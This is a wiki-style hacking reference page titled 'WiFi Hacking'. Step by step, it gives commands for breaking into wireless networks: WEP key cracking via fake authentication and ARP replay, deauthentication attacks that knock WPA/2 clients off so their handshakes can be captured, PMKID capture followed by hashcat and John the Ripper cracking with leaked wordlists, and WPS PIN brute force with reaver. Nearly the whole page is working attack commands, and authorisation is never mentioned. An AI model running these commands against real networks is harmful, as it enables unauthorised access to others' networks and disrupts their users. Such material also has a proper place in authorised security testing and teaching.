Editing WiFi Hacking

=Preface=
==Tools/Packages==
* Aircrack-ng
* Hashcat
* Hashcat-utils
* Reaver
* Macchanger
* hcxtools

==Dictionaries==
You will likely need a dictionary or two for some attacks. The best ones I've seen have been [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz rockyou]  and [https://github.com/danielmiessler/SecLists/blob/master/Passwords/darkc0de.txt darkc0de]. You may consider just grabbing all of SecLists's github as it contains a lot of goodies 

==Optional Stuff==
You may wish to use macchanger to change your mac address to something easier like 00:11:22:33:44:55
    macchanger --mac 00:11:22:33:44:55 wlan1
Do this before running Airmon to start in monitor mode

==Setup==
First, start your device in monitor mode
    airmon-ng start wlan1
This should create a new interface called wlan1mon which we will use for capturing
    airodump-ng wlan1mon
You will see an output of all wireless APs and clients within range of your interface. By default it sorts the strongest signal to the top and weakest on the bottom. You can change the sorting by pressing 's'. Additionally, you may wish to revise your output by adding a few flags:
* Change to a specific channel with -c #
* Only view specific encryption APs (like wpa2) with --encrypt wpa2
* Only view APs that are active by setting the minimum number of packets before it shows in the list with -n #
* Only view a specific AP by BSSID with --bssid xx:xx:xx:xx:xx:xx
* Used later, but write the captured packets to a file with -w file

Once you have found a target, typically one with some data packets flying around, you can cancel the first airodump process and start a new one targeting that AP
    airodump-ng -c # --bssid XXXBSSIDXXX -w XXXNAMEXXX wlan1mon

And now we wait for the Handshake Captured notice at the top!

=WEP=
This is the easiest of them all and you likely won't need a dictionary. Heck you do not even need a client attached to the AP. 

* Start by performing a fake authentication with the target AP
    aireplay-ng -1 0 -e XXTARGETSSIDXX -a XXTARGETBSSIDXX -h XXOURINTERFACEMACXX wlan1mon
* Alternatively you may use
    aireplay-ng -1 6000 -o 1 -q 10 -e XXTARGETSSIDXX -a XXTARGETBSSIDXX -h XXOURINTERFACEMACXX wlan1mon
* These should return an Auth Successful output before you can proceed. 
* Begin the ARP replay attack
    aireplay-ng -3 -b XXTARGETBSSIDXX -h XXOURINTERFACEMACXX wlan1mon
* Airodump should now start receiving tons of packets here, make sure you gather a significant amount of IVs 
** PTW Method: 20,000 for 64-bit and 40,000-85,000 for 128-bit keys 
** FMS/KoreK: 250,000 for 64-bit and 1,500,000 for 128-bit
* Stop the Airodump and Aireplay processes and begin cracking!
    aircrack-ng output.cap 
* Alternatively you can try the FMS/KoreK method over the default PTW method
    aircrack-ng -K output.cap 


=WPA/2=
Sometimes waiting is just not what we want to do. If the AP has clients, you can run a DeAuth attack on them with aireplay:
    aireplay-ng -0 1 -a XXXSTATIONBSSIDXXX -c XXCLIENTBSSIDXX wlan1mon
If successful, you'll see some ACKs in the output, unsuccessful will be 0|64 while successfull will be something like 7|64

Not nearly as effective, but you can DeAuth the broadcast and go for all clients on an AP:
    aireplay-ng --deauth 100 -a XXSTATIONBSSIDXX wlan1mon

==Handshake Captured==
After the handshake is captured, you can try cracking it a few different ways:

* By using only your CPU and a dictionary, can be slow
    aircrack-ng -w wordlist.dic -b XXXSTATIONBSSIDXXX target.cap
* By using your GPU with haschat and a dictionary, much faster
    cap2hccapx input.cap output.hccapx
    hashcat -m 2500 capfile.hccapx dictionary.txt
* By using John the Ripper and a dictionary, can be slow
    aircrack-ng input.cap -J output
    john -w=dictionary.txt output.hccap
    john -w=dictionary.txt -form=wpapsk-opencl output.hccap
* By using John the Ripper and NO Dictionary, VERY SLOW
    More info later, or see [[John the Ripper]]

==PMKID==
PMKID is an optional flag some AP manufacturers will use, this is another attack vector we can try that does not require the deauth attack. Here we will use hcxtools to grab the pmkid's floating around. 

* I found it easiest to narrow down by channel and use
    hcxdumptool -i wlan1mon -o channel1.pcapng --enable_status=1 -c 1
* After this I converted to a format aircrack would read with 
    tcpdump -r channel1.pcapng -w channel1.pcap
* Running aircrack-ng with that file will give an output of handshakes found, identify the ones with PMKID and make note of their BSSID/ESSID
* You can continue trying to crack with aircrack and a dictionary, but it is slow
    aircrack-ng -w wordlist channel1.pcap
* Or you can convert the file to something hashcat can use
    hcxpcaptool -E essidlist -I identitylist -U usernamelist -z galleriaHC.16800 galleria.pcapng
    hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force 'topwifipass.txt'

=WPS=
WPS is a liability for wireless networks. It makes it easier for users to setup for sure, but it's pretty much a guaranteed access point for some. Using Reaver we can brute force a WPS enabled AP. First we have to find some though!

* It is recommended to use the app that comes with the reaver package using
    wash -i wlan1mon
* It is possible to use airodump-ng 
    airodump-ng --wps --encrypt wpa wlan1mon
* With wash, you should take note of the WPS version and Lock status. Unlocked APs will have a better success rate
* Now we can run reaver on the target
    reaver -i wlan1mon -b XXXBSSIDHEREXXX -c XXCHANNELXX -vv
* If you are getting a ton of this:
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
* Try adding a few options like:
** delay, No NACK, Smaller DH 
    -d 5 -N -S
* If you run into AP Rate Limiting, try using the rest option, this will rest after 3 attempts for 15 seconds
    -r 3:15
* Additionally there's the pixiewps attack flag 
    -K

=References=

* [https://www.aircrack-ng.org/~~V:/doku.php?id=airodump-ng Airodump Ref]
* [https://www.aircrack-ng.org/~~V:/doku.php?id=aircrack-ng Aircrack Ref]
* [https://www.aircrack-ng.org/~~V:/doku.php?id=aireplay-ng Aireplay Ref]
* [https://aircrack-ng.org/doku.php?id=simple_wep_crack Simple WEP Attack]
* [https://tools.kali.org/wireless-attacks/reaver Kali/Reaver]
* [https://github.com/t6x/reaver-wps-fork-t6x Reaver Github]

[[Category:HackRefs]][[Category:Wireless]]